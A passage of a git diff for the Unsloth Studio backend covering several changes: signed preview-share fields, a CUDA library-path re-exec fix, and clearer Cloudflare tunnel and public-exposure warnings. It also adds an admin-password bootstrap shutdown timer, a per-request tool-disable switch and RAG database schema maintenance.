+def _preview_fields(output_dir: Optional[str], sharing_on: bool) -> dict:
+    """Previewability + the signed `/p` share ref for a run's output dir.
+
+    The signature is what makes the share link a capability: these routes are
+    authenticated, so only the run's owner ever receives it. When public sharing
+    is switched off, omit the signature so the UI hides the copy-link affordance
+    (and the link would 404 anyway). ``sharing_on`` is resolved once per request.
+    """
+    ref = preview_ref(output_dir)
+    return {
+        "has_preview_model": has_preview_model(output_dir),
+        "preview_ref": ref,
+        "preview_sig": sign_preview_ref(ref) if (ref and sharing_on) else None,
+    }
+
+
 @router.get("/runs", response_model = TrainingRunListResponse)
 async def list_training_runs(
     limit: int = Query(50, ge = 1, le = 200),
@@ -41,8 +61,18 @@ async def list_training_runs(
 ):
     """List training runs, newest first."""
     result = list_runs(limit = limit, offset = offset)
+    sharing_on = get_preview_sharing_enabled()
     return TrainingRunListResponse(
-        runs = [TrainingRunSummary(**{**r, "can_resume": can_resume_run(r)}) for r in result["runs"]],
+        runs = [
+            TrainingRunSummary(
+                **{
+                    **r,
+                    "can_resume": can_resume_run(r),
+                    **_preview_fields(r.get("output_dir"), sharing_on),
+                }
+            )
+            for r in result["runs"]
+        ],
         total = result["total"],
     )
 
@@ -67,6 +97,7 @@ async def get_training_run_detail(run_id: str, current_subject: str = Depends(ge
             **{
                 **{k: v for k, v in run.items() if k != "config_json"},
                 "can_resume": can_resume_run(run),
+                **_preview_fields(run.get("output_dir"), get_preview_sharing_enabled()),
             }
         ),
         config = config,
@@ -98,6 +129,7 @@ async def update_training_run(
         **{
             **{k: v for k, v in refreshed.items() if k != "config_json"},
             "can_resume": can_resume_run(refreshed),
+            **_preview_fields(refreshed.get("output_dir"), get_preview_sharing_enabled()),
         }
     )
 
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 709efc2098..2cc6c4a93e 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -12,6 +12,79 @@ import time
 from pathlib import Path
 from typing import Optional
 
+
+def _fix_torch_cuda_ld_path():
+    """Prepend torch's bundled CUDA libs to LD_LIBRARY_PATH.
+
+    PyTorch wheels ship their own CUDA runtime (libcudart, libcublas, ...) in
+    ``site-packages/nvidia/*/lib``. On Linux the dynamic linker reads
+    LD_LIBRARY_PATH before the RUNPATH baked into torch's .so files, so a
+    pre-existing LD_LIBRARY_PATH pointing at a different system CUDA (e.g.
+    /usr/local/cuda-13/lib64 from conda or a Docker base image) shadows torch's
+    libs and triggers "undefined symbol" errors when torch is imported. Detect
+    torch's lib dirs (without importing torch) and prepend them. Returns True if
+    LD_LIBRARY_PATH was changed.
+    """
+    if sys.platform != "linux":
+        return False
+    ld_path = os.environ.get("LD_LIBRARY_PATH", "")
+    if not ld_path:
+        return False
+    try:
+        import importlib.util
+
+        spec = importlib.util.find_spec("torch")
+        if not spec or not spec.origin:
+            return False
+        torch_dir = os.path.dirname(spec.origin)
+        site_pkgs = os.path.dirname(torch_dir)
+        nvidia_dir = os.path.join(site_pkgs, "nvidia")
+
+        lib_dirs = []
+        torch_lib = os.path.join(torch_dir, "lib")
+        if os.path.isdir(torch_lib):
+            lib_dirs.append(torch_lib)
+        if os.path.isdir(nvidia_dir):
+            for sub in sorted(os.listdir(nvidia_dir)):
+                lib = os.path.join(nvidia_dir, sub, "lib")
+                if os.path.isdir(lib):
+                    lib_dirs.append(lib)
+        if not lib_dirs:
+            return False
+
+        existing = ld_path.split(":")
+        if existing[: len(lib_dirs)] == lib_dirs:
+            return False  # already at the front, nothing to do
+
+        torch_set = set(lib_dirs)
+        cleaned = [p for p in existing if p not in torch_set]
+        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs + cleaned)
+        return True
+    except Exception:
+        return False
+
+
+_LD_FIXED_SENTINEL = "_UNSLOTH_STUDIO_LD_FIXED"
+
+
+def _maybe_reexec_for_cuda_ld_path():
+    """Re-exec once so the dynamic linker sees the corrected LD_LIBRARY_PATH.
+
+    LD_LIBRARY_PATH is read at process start, so editing os.environ in-process
+    cannot fix the running interpreter; a single re-exec is required. Call only
+    from a true entry point (the ``if __name__ == "__main__"`` block), never at
+    import time, because os.execv replaces the whole process (an embedder such
+    as Colab that does ``from run import run_server`` must not be re-exec'd).
+    """
+    if _LD_FIXED_SENTINEL in os.environ:
+        return
+    if not _fix_torch_cuda_ld_path():
+        return
+    os.environ[_LD_FIXED_SENTINEL] = "1"
+    argv = getattr(sys, "orig_argv", None) or [sys.executable, *sys.argv]
+    os.execv(sys.executable, argv)
+
+
 # Suppress C-level dependency warnings globally (e.g. SwigPyPacked).
 os.environ["PYTHONWARNINGS"] = "ignore"
 
@@ -253,12 +326,13 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
     local_url_c = "\033[38;5;108;1m" if use_color else ""  # matches banner's URL color
     reset = "\033[0m" if use_color else ""
 
-    url = f"http://{display_host}:{port}"
+    url = f"http://{_url_host(display_host)}:{port}"
 
     # Private/loopback/link-local addresses aren't globally routable.
     try:
         addr = ipaddress.ip_address(display_host)
         if addr.is_loopback or addr.is_private or addr.is_link_local:
+            _public_reachable = False
             print(
                 f"{dim}  Note: {display_host} is a private/LAN address -- "
                 f"reachable on this network only, not from the public internet."
@@ -340,34 +414,19 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
                 f"the public internet ({err_nodes}/{total} probe nodes failed).{reset}",
                 flush = True,
             )
-            print(f"{dim}    Common causes:{reset}", flush = True)
             print(
-                f"{dim}      * AWS  -- the instance's Security Group doesn't "
-                f"allow inbound TCP {port}.{reset}",
+                f"{dim}    Usually a cloud firewall (AWS security group, "
+                f"GCP firewall / Azure NSG rule) or home router isn't "
+                f"allowing inbound TCP {port}.{reset}",
                 flush = True,
             )
             print(
-                f"{dim}      * GCP  -- no firewall rule allowing TCP {port} "
-                f"for the instance's network tag.{reset}",
+                f"{dim}    No firewall change needed -- SSH local-forward "
+                f"from your own computer:{reset}",
                 flush = True,
             )
             print(
-                f"{dim}      * Azure / other clouds -- equivalent NSG / "
-                f"firewall rule missing.{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}      * Home -- your router isn't port-forwarding "
-                f"{port} to this machine.{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}    Workaround that needs no firewall changes -- "
-                f"SSH local-forward from your laptop:{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}        ssh -L {port}:localhost:{port} " f"<user>@{display_host}{reset}",
+                f"{dim}        ssh -L {port}:localhost:{port} <user>@{display_host}{reset}",
                 flush = True,
             )
             print(
@@ -395,6 +454,20 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
         pass
 
 
+def _display_host_for_bind(host: str) -> str:
+    return _resolve_external_ip() if host in ("0.0.0.0", "::") else host
+
+
+def _loopback_bind_host_for(host: str) -> str:
+    return "::1" if host == "::" else "127.0.0.1"
+
+
+def _url_host(host: str) -> str:
+    return (
+        f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host
+    )
+
+
 def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> str:
     """One-line tool-policy summary for the plain-server startup banner, so a
     network-reachable launch is never silent about code execution."""
@@ -431,7 +504,7 @@ def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None
     print("")
     print("🦥 Unsloth Studio is running (secure)")
     print("─" * 52)
-    _print_cloudflare_line()
+    _print_cloudflare_line(secure = True)
     print(f"  On this machine only: http://127.0.0.1:{port}/")
     print("─" * 52)
     _emit_tool_policy_notice("127.0.0.1", True, enable_tools)
@@ -462,30 +535,108 @@ def _emit_startup_output(
         _print_localhost_ipv6_mismatch_warning(localhost_mismatch_url, port)
     elif wildcard_bind:
         _verify_global_reachability(display_host, port)
-        _print_cloudflare_line()
+        _print_cloudflare_line(loopback_host = _loopback_bind_host_for(host))
     _emit_tool_policy_notice(host, False, enable_tools)
     print_studio_stop_hint()
 
 
-def _print_cloudflare_line() -> None:
-    """Print the Cloudflare quick-tunnel URL for 0.0.0.0 binds, if one is up.
-
-    Reads the module-level URL set by ``run_server``. Prints nothing when the
-    tunnel is disabled or failed -- failures are silently ignored. When the public
-    reachability probe just failed (``_public_reachable is False``) but the tunnel
-    is up, reword to point the user at the Cloudflare link as the way in.
-    """
-    if not _cloudflare_url:
-        return
+def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1") -> None:
+    """Print Cloudflare tunnel state for startup banners."""
     from startup_banner import stdout_supports_color
 
     accent = "\033[38;5;150;1m"
+    warn = "\033[38;5;215;1m"
     reset = "\033[0m"
-    if _public_reachable is False:
-        line = f"  Use the secure link access via Cloudflare instead: {_cloudflare_url}"
-    else:
-        line = f"  Secure link access via Cloudflare: {_cloudflare_url}"
-    print(f"{accent}{line}{reset}" if stdout_supports_color() else line)
+    color = stdout_supports_color()
+
+    def _emit(text: str, style: str = "") -> None:
+        print(f"{style}{text}{reset}" if (color and style) else text)
+
+    if _cloudflare_url:
+        if _public_reachable is False:
+            _emit(f"  Use the secure link access via Cloudflare instead: {_cloudflare_url}", accent)
+        else:
+            _emit(f"  Secure link access via Cloudflare: {_cloudflare_url}", accent)
+        if not secure:
+            if _public_reachable is True:
+                _emit(
+                    "  Cloudflare tunnel: ON. This Cloudflare URL is PUBLIC, and the "
+                    "raw port is also publicly reachable. --no-cloudflare disables "
+                    f"only the Cloudflare URL; bind {loopback_host} or close firewall "
+                    "access to keep Studio private.",
+                    warn,
+                )
+            else:
+                _emit(
+                    "  Cloudflare tunnel: ON. This is a PUBLIC internet URL: anyone "
+                    "who has it can reach this Studio. Relaunch with --no-cloudflare "
+                    f"to disable the Cloudflare URL; bind {loopback_host} or close "
+                    "firewall access to keep Studio private.",
+                    warn,
+                )
+        return
+    if _cloudflare_requested:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. The raw port is "
+                "still reachable from the public internet (see the reachability check "
+                "above): anyone who can reach it can access this Studio.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. Studio is reachable "
+                "on your local network only (no public link).",
+                warn,
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. There is no "
+                "Cloudflare public link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
+    elif _cloudflare_flag:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. The raw port is still "
+                "reachable from the public internet (see the reachability check above): "
+                "anyone who can reach it can access this Studio.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. Studio is reachable on your "
+                "local network only (no public link)."
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. There is no Cloudflare public "
+                "link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
+    elif not _cloudflare_flag:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still "
+                "reachable from the public internet (see the reachability check above): "
+                "--no-cloudflare disables only the Cloudflare link, not the public bind.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your "
+                "local network only. Omit --no-cloudflare to expose a public "
+                "Cloudflare HTTPS link."
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare "
+                "public link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
 
 
 def _get_pid_on_port(port: int) -> "tuple[int, str] | None":
@@ -622,7 +773,7 @@ def _graceful_shutdown(server = None):
     Windows where atexit handlers are unreliable after Ctrl+C.
     """
     _remove_pid_file()
-    logger.info("Graceful shutdown initiated — cleaning up subprocesses...")
+    logger.info("Graceful shutdown initiated -- cleaning up subprocesses...")
 
     # 1. Shut down uvicorn (releases the listening socket).
     if server is not None:
@@ -712,7 +863,7 @@ _server_thread = None
 # Shutdown event -- wakes the main loop on signal.
 _shutdown_event = None
 
-# trycloudflare.com URL for 0.0.0.0 binds (set by run_server, read by the banner);
+# trycloudflare.com URL for wildcard binds (set by run_server, read by the banner);
 # None when there is no tunnel (loopback, disabled, or a silently-ignored failure).
 _cloudflare_url = None
 
@@ -722,6 +873,9 @@ _cloudflare_url = None
 # not decide (timeout, blocked, private address).
 _public_reachable = None
 
+_cloudflare_requested = False
+_cloudflare_flag = True
+
 
 _DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist"
 
@@ -893,9 +1047,14 @@ def _setup_server_disk_logging():
 def _cloudflare_tunnel_should_start(
     *, cloudflare: bool, host: str, secure: bool, api_only: bool, is_colab: bool
 ) -> bool:
-    """Whether to start the Cloudflare tunnel. --secure tunnels a loopback bind too;
-    non-secure keeps the 0.0.0.0-only rule. Colab/api-only never tunnel."""
-    return cloudflare and (host == "0.0.0.0" or secure) and not api_only and not is_colab
+    """Whether to start the Cloudflare tunnel. --secure exposes only the tunnel
+    (loopback bind), so it tunnels even api-only (headless secure API serving);
+    otherwise tunnel wildcard binds, never api-only (Tauri) or Colab."""
+    if is_colab or not cloudflare:
+        return False
+    if secure:
+        return True
+    return host in ("0.0.0.0", "::") and not api_only
 
 
 def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
@@ -919,6 +1078,7 @@ def run_server(
     cloudflare: bool = True,
     secure: bool = False,
     enable_tools: "Optional[bool]" = None,
+    emit_tauri_port: bool = True,
 ):
     """
     Start the FastAPI server.
@@ -932,6 +1092,9 @@ def run_server(
         llama_parallel_slots: parallel slots for llama-server
         enable_tools: explicit --enable-tools/--disable-tools policy; None leaves
             the default (tools on, per-request enable_tools honored)
+        emit_tauri_port: print the machine-readable TAURI_PORT line the desktop
+            app parses from stdout; the headless `run --api-only` path turns it
+            off so it does not pollute the documented URL/API-key banner
 
     Note:
         Signal handlers are NOT registered here so embedders (e.g. Colab) keep
@@ -939,6 +1102,9 @@ def run_server(
     """
     global _server, _server_thread, _shutdown_event
 
+    boot_started = time.perf_counter()
+    logger.info("run_server startup begin api_only=%s host=%s port=%s", api_only, host, port)
+
     # Reap every child if the parent dies abnormally (terminal close, Task
     # Manager kill, SIGKILL); must run before any child can spawn.
     from utils.process_lifetime import initialize_parent_lifetime
@@ -974,9 +1140,13 @@ def run_server(
     if _session_log is not None and not silent:
         print(f"Session log: {_session_log}")
 
-    # Set env var BEFORE importing main so CORS middleware picks it up.
+    # Set env vars BEFORE importing main so CORS middleware picks them up.
+    # secure api-only is a remote server behind Cloudflare, so it keeps the
+    # any-origin CORS profile; plain api-only stays locked to the Tauri app.
     if api_only:
         os.environ["UNSLOTH_API_ONLY"] = "1"
+    if secure:
+        os.environ["UNSLOTH_SECURE"] = "1"
 
     import nest_asyncio
 
@@ -986,7 +1156,14 @@ def run_server(
     from threading import Thread, Event
     import uvicorn
 
+    import_started = time.perf_counter()
+
     from main import app, setup_frontend, _IS_COLAB
+
+    logger.info(
+        "Imported FastAPI app in %.1fms",
+        (time.perf_counter() - import_started) * 1000,
+    )
     from utils.paths import ensure_studio_directories
 
     # Allow local stdio MCP servers on a loopback bind (the user's own machine),
@@ -999,6 +1176,11 @@ def run_server(
     # Create all standard directories on startup.
     ensure_studio_directories()
 
+    logger.info(
+        "Ensured Studio directories in %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     # Auto-find a free port if the requested one is in use.
     if not _is_port_free(host, port):
         original_port = port
@@ -1059,9 +1241,14 @@ def run_server(
             )
 
     # Resolve once; shared by the log rewrite and banner.
-    display_host = _resolve_external_ip() if host == "0.0.0.0" else host
+    display_host = _display_host_for_bind(host)
     _install_uvicorn_startup_log_rewrite(host, display_host)
 
+    logger.info(
+        "run_server pre-uvicorn setup completed in %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     ready_event = Event()
     startup_failed = Event()
     startup_errors = []
@@ -1070,6 +1257,10 @@ def run_server(
         async def startup(self, *args, **kwargs):
             await super().startup(*args, **kwargs)
             if getattr(self, "started", False) and not self.should_exit:
+                logger.info(
+                    "Uvicorn startup hook completed in %.1fms",
+                    (time.perf_counter() - boot_started) * 1000,
+                )
                 ready_event.set()
 
     # server_header=False suppresses uvicorn's "Server: uvicorn"; SecurityHeadersMiddleware sets its own.
@@ -1095,10 +1286,10 @@ def run_server(
     # backend, not whatever a proxy/tunnel exposed. For ephemeral binds (port==0)
     # leave it unset so handlers fall back to the request scope / base_url.
     app.state.server_port = port if port and port > 0 else None
-    # Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP.
+    # Direct (non-tunnel) base for the API panel; resolve wildcard binds to the LAN IP.
     if port and port > 0:
-        _direct_host = _resolve_external_ip() if host == "0.0.0.0" else host
-        app.state.server_url = f"http://{_direct_host}:{port}"
+        _direct_host = _display_host_for_bind(host)
+        app.state.server_url = f"http://{_url_host(_direct_host)}:{port}"
     else:
         app.state.server_url = None
     app.state.secure = secure
@@ -1149,6 +1340,11 @@ def run_server(
         _shutdown_event.set()
         raise
 
+    logger.info(
+        "run_server uvicorn ready after %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     _write_pid_file()
     import atexit
 
@@ -1158,14 +1354,16 @@ def run_server(
     atexit.register(terminate_all)
 
     # Output port for Tauri (api-only), only after sockets bind and startup done.
-    if api_only:
+    # The headless `run --api-only` path opts out so it does not leak this line.
+    if api_only and emit_tauri_port:
         print(f"TAURI_PORT={port}", flush = True)
 
-    # Free trycloudflare.com tunnel for 0.0.0.0 binds (the raw ip:port is often
+    # Free trycloudflare.com tunnel for wildcard binds (the raw ip:port is often
     # unreachable). Started pre-banner and even when silent so the CLI banner can
     # read app.state.cloudflare_url; torn down by _graceful_shutdown.
-    global _cloudflare_url
+    global _cloudflare_url, _cloudflare_requested, _cloudflare_flag
     _cloudflare_url = None
+    _cloudflare_flag = cloudflare
     app.state.cloudflare_url = None
     _cloudflare_enabled = _cloudflare_tunnel_should_start(
         cloudflare = cloudflare,
@@ -1174,6 +1372,7 @@ def run_server(
         api_only = api_only,
         is_colab = _IS_COLAB,
     )
+    _cloudflare_requested = _cloudflare_enabled
     if _cloudflare_enabled:
         try:  # best-effort: any failure must not block startup
             from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@@ -1197,6 +1396,43 @@ def run_server(
         _graceful_shutdown(_server)
         sys.exit(1)
 
+    # Time-box a freshly-exposed web UI: if nobody changes the seeded admin
+    # password within the deadline (default 1h), shut down rather than leave an
+    # unsecured public instance running. No-op for loopback, --api-only, Colab,
+    # an already-changed password, or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0.
+    try:
+        from auth import storage as _auth_storage
+        from auth.bootstrap_timeout import (
+            arm_bootstrap_timeout,
+            bootstrap_timeout_seconds,
+            should_arm_bootstrap_timeout,
+        )
+
+        _bootstrap_timeout = bootstrap_timeout_seconds()
+        if should_arm_bootstrap_timeout(
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            frontend_served = bool(frontend_path) and not api_only,
+            is_colab = _IS_COLAB,
+            requires_change = _auth_storage.requires_password_change(
+                _auth_storage.DEFAULT_ADMIN_USERNAME
+            ),
+            timeout_seconds = _bootstrap_timeout,
+        ):
+            arm_bootstrap_timeout(
+                _auth_storage,
+                _trigger_shutdown,
+                timeout_seconds = _bootstrap_timeout,
+                logger = logger,
+            )
+            logger.info(
+                "Studio will shut down in %ds unless the default admin password is changed.",
+                _bootstrap_timeout,
+            )
+    except Exception as e:  # best-effort: never block startup on the timeout
+        logger.warning("Bootstrap timeout not armed: %s", e)
+
     if not silent:
         _emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools)
 
@@ -1241,8 +1477,10 @@ def _build_arg_parser():
         "--cloudflare",
         action = argparse.BooleanOptionalAction,
         default = True,
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 "
-        "(default on; --no-cloudflare to disable)",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     )
     parser.add_argument(
         "--secure",
@@ -1292,6 +1530,12 @@ def _build_arg_parser():
 
 # For direct execution (also invoked by CLI via os.execvp / subprocess).
 if __name__ == "__main__":
+    # Correct a conflicting system CUDA on LD_LIBRARY_PATH before torch is
+    # imported (below, via run_server). Re-execs once on Linux so the dynamic
+    # linker uses torch's bundled CUDA libs; no-op on other platforms, when
+    # LD_LIBRARY_PATH is unset or already correct, or after the single re-exec.
+    _maybe_reexec_for_cuda_ld_path()
+
     import signal
     import traceback
 
diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py
index 52ac8cb012..ea951a4325 100644
--- a/studio/backend/startup_banner.py
+++ b/studio/backend/startup_banner.py
@@ -3,7 +3,7 @@
 
 """Terminal banner for Studio startup.
 
-Stdlib only — safe to import without the rest of the backend.
+Stdlib only -- safe to import without the rest of the backend.
 """
 
 from __future__ import annotations
@@ -12,6 +12,18 @@ import os
 import sys
 
 
+def _safe_print(text: str) -> None:
+    """Print text without crashing on terminals that cannot encode Unicode."""
+    try:
+        print(text)
+    except UnicodeEncodeError:
+        encoding = getattr(sys.stdout, "encoding", None) or "ascii"
+        try:
+            print(text.encode(encoding, errors = "replace").decode(encoding))
+        except LookupError:
+            print(text.encode("ascii", errors = "replace").decode("ascii"))
+
+
 def stdout_supports_color() -> bool:
     """True if we should emit ANSI colors."""
     if os.environ.get("NO_COLOR", "").strip():
@@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None:
     """Message when the requested port is taken and another is chosen."""
     msg = f"Port {original_port} is in use, using port {new_port} instead."
     if stdout_supports_color():
-        print(f"\033[38;5;245m{msg}\033[0m")
+        _safe_print(f"\033[38;5;245m{msg}\033[0m")
     else:
-        print(msg)
+        _safe_print(msg)
 
 
 def print_studio_stop_hint() -> None:
@@ -44,15 +56,15 @@ def print_studio_stop_hint() -> None:
     def style(text: str, code: str) -> str:
         return f"{code}{text}{reset}" if use_color else text
 
-    print(
+    _safe_print(
         "\n".join(
             [
                 "",
                 style(
-                    "  To stop Unsloth Studio: press Ctrl+C in this terminal.",
+                    "  To stop Unsloth Studio: press Ctrl+C "
+                    "(Control+C, not Command+C, on macOS).",
                     stop_hint_style,
                 ),
-                style("  (On macOS this is Control+C, not Command+C.)", dim),
                 style("─" * 52, dim),
                 "",
             ]
@@ -101,7 +113,6 @@ def print_studio_access_banner(
     # Use the loopback URL only when reachable on loopback; otherwise show
     # the actual bound address.
     primary_url = loopback_url if listen_all or loopback_bind else external_url
-    tip_url = alt_local if listen_all or loopback_bind else external_url
     api_base = primary_url
 
     lines: list[str] = [
@@ -145,10 +156,6 @@ def print_studio_access_banner(
             style(f"    {api_base}/api", secondary),
             style(f"    {api_base}/api/health", secondary),
             style("─" * 52, dim),
-            style(
-                f"  Tip: if you are on this computer, open {tip_url}/ in your browser.",
-                dim,
-            ),
         ]
     )
 
@@ -157,23 +164,15 @@ def print_studio_access_banner(
             [
                 "",
                 style(
-                    "  Studio is only reachable on this machine (bound to 127.0.0.1).",
+                    "  Reachable on this machine only (bound to 127.0.0.1).",
                     secondary,
                 ),
                 style(
-                    "  To deploy and access globally:",
+                    f"  To expose it, stop and relaunch with:  unsloth studio -H 0.0.0.0 -p {port}",
                     secondary,
                 ),
                 style(
-                    "    1. press Ctrl+C to stop Studio",
-                    secondary,
-                ),
-                style(
-                    f"    2. relaunch with:  unsloth studio -H 0.0.0.0 -p {port}",
-                    secondary,
-                ),
-                style(
-                    "  Only do this on trusted networks -- it exposes the API on every interface.",
+                    "  Only on trusted networks -- anyone who reaches this machine can use Studio.",
                     secondary,
                 ),
             ]
@@ -184,13 +183,13 @@ def print_studio_access_banner(
             [
                 "",
                 style(
-                    "  To stop Unsloth Studio: press Ctrl+C in this terminal.",
+                    "  To stop Unsloth Studio: press Ctrl+C "
+                    "(Control+C, not Command+C, on macOS).",
                     stop_hint_style,
                 ),
-                style("  (On macOS this is Control+C, not Command+C.)", dim),
                 style("─" * 52, dim),
                 "",
             ]
         )
 
-    print("\n".join(lines))
+    _safe_print("\n".join(lines))
diff --git a/studio/backend/state/tool_policy.py b/studio/backend/state/tool_policy.py
index 9b0fc7d6cb..e0792321f9 100644
--- a/studio/backend/state/tool_policy.py
+++ b/studio/backend/state/tool_policy.py
@@ -10,15 +10,34 @@ Set by `unsloth run` at startup; consulted by the inference route gates.
   False -> CLI forced tools off for every request.
 """
 
-from typing import Optional
+import contextvars
+from contextlib import contextmanager
+from typing import Iterator, Optional
 
 _tool_policy: Optional[bool] = None
 
+# Per-request hard-off so public surfaces refuse tools even under a CLI `--enable-tools`.
+_force_disabled: contextvars.ContextVar[bool] = contextvars.ContextVar(
+    "tool_policy_force_disabled", default = False
+)
+
 
 def get_tool_policy() -> Optional[bool]:
+    if _force_disabled.get():
+        return False
     return _tool_policy
 
 
+@contextmanager
+def tools_force_disabled() -> Iterator[None]:
+    """Hard-disable server-side tools for the current async context."""
+    token = _force_disabled.set(True)
+    try:
+        yield
+    finally:
+        _force_disabled.reset(token)
+
+
 def set_tool_policy(value: Optional[bool]) -> None:
     if value is not None and not isinstance(value, bool):
         raise TypeError(f"tool_policy must be Optional[bool], got {type(value).__name__}")
diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py
index 564e3284f8..cbd6ceb617 100644
--- a/studio/backend/storage/rag_db.py
+++ b/studio/backend/storage/rag_db.py
@@ -15,6 +15,7 @@ column type).
 """
 
 import logging
+import re
 import sqlite3
 import threading
 
@@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             error TEXT,
             num_chunks INTEGER NOT NULL DEFAULT 0,
             stored_path TEXT,
-            created_at TEXT NOT NULL
+            created_at TEXT NOT NULL,
+            embedding_model TEXT
         );
         CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope);
         CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256);
@@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
     cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()}
     if "project_id" not in cols:
         conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT")
+    # Lazy upgrade: which embedder produced a document's vectors (NULL = legacy,
+    # assumed current). Dedupe re-ingests when it no longer matches.
+    if "embedding_model" not in cols:
+        conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT")
 
 
 def get_connection() -> sqlite3.Connection:
@@ -119,6 +125,10 @@ def get_connection() -> sqlite3.Connection:
     ensure_dir(db_path.parent)
     conn = sqlite3.connect(str(db_path))
     conn.row_factory = sqlite3.Row
+    # Wait for a lock instead of erroring immediately: a figure/scan-heavy ingest can
+    # hold its connection across many seconds of vision calls, and a concurrent ingest
+    # or autoinject read would otherwise hit "database is locked".
+    conn.execute("PRAGMA busy_timeout = 5000")
     try:
         conn.enable_load_extension(True)
         sqlite_vec.load(conn)
@@ -139,9 +149,32 @@ def get_connection() -> sqlite3.Connection:
     return conn
 
 
+def vec_table_dim(conn: sqlite3.Connection) -> int | None:
+    """Embedding width baked into ``chunks_vec``, or None when absent."""
+    row = conn.execute(
+        "SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
+    ).fetchone()
+    if row is None or not row["sql"]:
+        return None
+    m = re.search(r"float\[(\d+)\]", row["sql"])
+    return int(m.group(1)) if m else None
+
+
 def ensure_vec(conn: sqlite3.Connection, dim: int) -> None:
     """Create the dense ``chunks_vec`` table once the embedding dim is known
-    (vec0 bakes it into the column type). Idempotent; dim fixed per db."""
+    (vec0 bakes it into the column type). A width change (embedding model
+    switched in Settings) drops the table: the old vectors live in a foreign
+    space and would only block inserts, while lexical search keeps serving old
+    chunks until they are re-uploaded."""
+    existing = vec_table_dim(conn)
+    if existing is not None and existing != int(dim):
+        logger.warning(
+            "chunks_vec dim changed %d -> %d (embedding model switched); dropping "
+            "stale dense index. Re-upload documents to restore dense search.",
+            existing,
+            int(dim),
+        )
+        conn.execute("DROP TABLE chunks_vec")
     conn.execute(
         f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0("
         f"scope TEXT partition key, "
@@ -156,3 +189,71 @@ def vec_table_exists(conn: sqlite3.Connection) -> bool:
         "SELECT 1 FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
     ).fetchone()
     return row is not None
+
+
+def _delete_document_chunks(conn, document_id: str) -> None:
+    """Delete a document's chunk rows (chunks/chunks_fts/chunks_vec), keeping the
+    documents row. Used when reconciling a half-ingested doc to failed: retrieval
+    filters by scope not status, so leftover chunks would stay citable."""
+    chunk_ids = [
+        r["id"]
+        for r in conn.execute(
+            "SELECT id FROM chunks WHERE document_id=?", (document_id,)
+        ).fetchall()
+    ]
+    if not chunk_ids:
+        return
+    has_vec = vec_table_exists(conn)
+    for chunk_id in chunk_ids:
+        conn.execute("DELETE FROM chunks_fts WHERE chunk_id=?", (chunk_id,))
+        if has_vec:
+            conn.execute("DELETE FROM chunks_vec WHERE chunk_id=?", (chunk_id,))
+    conn.execute("DELETE FROM chunks WHERE document_id=?", (document_id,))
+
+
+def reconcile_orphaned_ingestion_jobs() -> int:
+    """Fail ingestion jobs/documents left mid-flight by a crash so they stop
+    showing as stuck "processing" and become re-ingestible. Run at startup.
+    No-op without RAG. Returns the number of jobs reset.
+    """
+    if not RAG_AVAILABLE:
+        return 0
+    conn = get_connection()
+    try:
